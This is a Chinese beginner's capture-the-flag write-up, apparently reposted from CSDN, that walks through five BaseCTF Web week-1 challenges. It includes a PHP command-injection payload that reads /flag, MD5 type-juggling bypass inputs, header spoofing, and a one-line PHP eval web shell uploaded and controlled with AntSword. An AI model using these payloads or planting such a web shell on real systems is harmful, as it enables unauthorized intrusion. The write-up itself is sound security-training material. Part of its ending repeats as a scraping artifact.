0


BaseCTF-Web-week1

BaseCTF-Web-week1—清风

最近正在举行BaseCTF作为新手的我刚好去参加,发现自己太多漏洞,知识点掌握不牢,现在写web-week1的五个题目WP。

[Week1] HTTP 是什么呀

进入靶场,内容其实很简单,都是最简单的参数传递,还没有进行各种绕过

在这里插入图片描述

1-这里解题可以使用burpSuite抓包进行参数的传递。
2-这里也可以使用浏览器的插件(hackbar)进行参数的传递。
①使用burpSuite解此题
题目咱可以不会写,但是我们的思路一定不能有问题,了解此题的一个大体框架。你说呢?当然我确实是有点小菜,仅个人人观点。

此题目是完成参数的传递即可获得flag,此题目有六个参数,这里有GET参数、POST参数、Cookie参数、User-Agent参数、Referer、本地IP,一共六个参数。

这里需要注意:
GET参数传参数前面需要一个问号(?),GET传参时会进行url解码一次,所以需要对%00进行url编码一次为%2500,这样保证url解码为后为%00,url编码是指%后加ASCII码数值。
POST参数传递就正常写最后就行,
Cookie传参前面需要自己加上Cookie:响应头,
User-Agent传参需要删除原有的参数,
Referer传参数前面需要自己加上Referer:响应头,
本地IP需要自己加上Client-Ip:响应头

抓包原本响应头

在这里插入图片描述

参数传递后的响应头(这里特意用红色方框圈出来)

在这里插入图片描述

然后放包,在返回包中查看flag
在这里插入图片描述

看见flag被Base64加密,使用软件Base64解码取得flag,成功拿下flag

在这里插入图片描述

②使用HackBar插件解题(这里我使用火狐浏览器)

此题目是完成参数的传递即可获得flag,此题目有六个参数,这里有GET参数、POST参数、Cookie参数、User-Agent参数、Referer、本地IP,一共六个参数。

这里需要注意:
GET参数传参数前面需要一个问号(?),GET传参时会进行url解码一次,所以需要对%00进行url编码一次为%2500,这样保证url解码为后为%00,url编码是指%后加ASCII码数值。
POST参数传递就正常写最后就行,
Cookie传参前面需要自己加上Cookie:响应头,
User-Agent传参需要删除原有的参数,
Referer传参数前面需要自己加上Referer:响应头,
本地IP需要自己加上Client-Ip:响应头

这里我写主要传参过程,F12打开插件进行参数填写

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

这里就取得flag了,第一题结束

[Week1] 喵喵喵´•ﻌ•`

此题相对第一题简单许多,基本的GET传参数和命令执行,进入靶场

在这里插入图片描述

这里使用命令执行,读取根目录文件,请注意是根目录(ls /)这样是读取根目录

payload:?DT=system('ls /');

在这里插入图片描述

发现flag文件,进行文件读取取得flag

payload:?DT=system('cat /flag');

在这里插入图片描述

[Week1] md5绕过欸

此题目是GET传参和POST传参,md5弱类型绕过和强类型绕过(md5绕过在我前面的文章中有详细说明)MD5绕过文章

进入靶场,看源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
    $name = $_GET['name'];
    $name2 = $_GET['name2'];
    $password = $_POST['password'];
    $password2 = $_POST['password2'];
    if ($name != $password && md5($name) == md5($password)){
        if ($name2 !== $password2 && md5($name2) === md5($password2)){
            echo $flag;
        }
        else{
            echo "再看看啊,马上绕过嘞!";
        }
    }
    else {
        echo "错啦错啦";
    }

}
else {
    echo '没看到参数呐';
}
?> 没看到参数呐

分析

这里的name和password不相等,但弱类型相等。name2和password2中

!==

进行比较时,不仅比较值,还比较值的类型,然后需满足强类型相等,获取flag。

这里弱类型绕过我使用科学计数法绕过,强类型绕过我使用数组绕过。当然此题目还可以使用碰撞绕过,即MD5加密后数值相等,但是未MD5加密前不相等,这里我就不进行演示,如有问题请私信或评论联系

payload:?name=QNKCDZO&name2[]=a
payload:password=240610708&password2[]=b

在这里插入图片描述

成功取得flag

在这里插入图片描述

[Week1] A Dark Room

此题目就比较简单了,看见这种小游戏的题目直接ctrl+u查看源码,搜索flag即可.进入靶场,是什么小游戏。

在这里插入图片描述

直接查看源码和获取flag

在这里插入图片描述

[Week1] upload

这个题目是文件上传的题目,然后蚁剑连接

这里使用burpsuite需要抓包写一句话木马

在这里插入图片描述

一句话木马:
<?php
@eval($_POST["cmd"]);
?> 

在这里插入图片描述

上传之后给了源代码,并说明上传成功,同时看见我们用蚁剑连接的地址

在这里插入图片描述

使用蚁剑连接获取flag

在这里插入图片描述

BaseCTF-web-week1前五个题目结束了。

我清风 与诸君共勉,共创辉煌篇章。

后给了源代码,并说明上传成功,同时看见我们用蚁剑连接的地址

[外链图片转存中…(img-LtKhdbEn-1723800225807)]

使用蚁剑连接获取flag

[外链图片转存中…(img-uiH8PBXq-1723800225807)]

BaseCTF-web-week1前五个题目结束了。

我清风 与诸君共勉,共创辉煌篇章。

标签: php 网络安全

本文转载自: https://blog.csdn.net/weixin_71913298/article/details/141265327
版权归原作者 清风.春不晚 所有, 如有侵权,请联系我们删除。

“BaseCTF-Web-week1”的评论:

还没有评论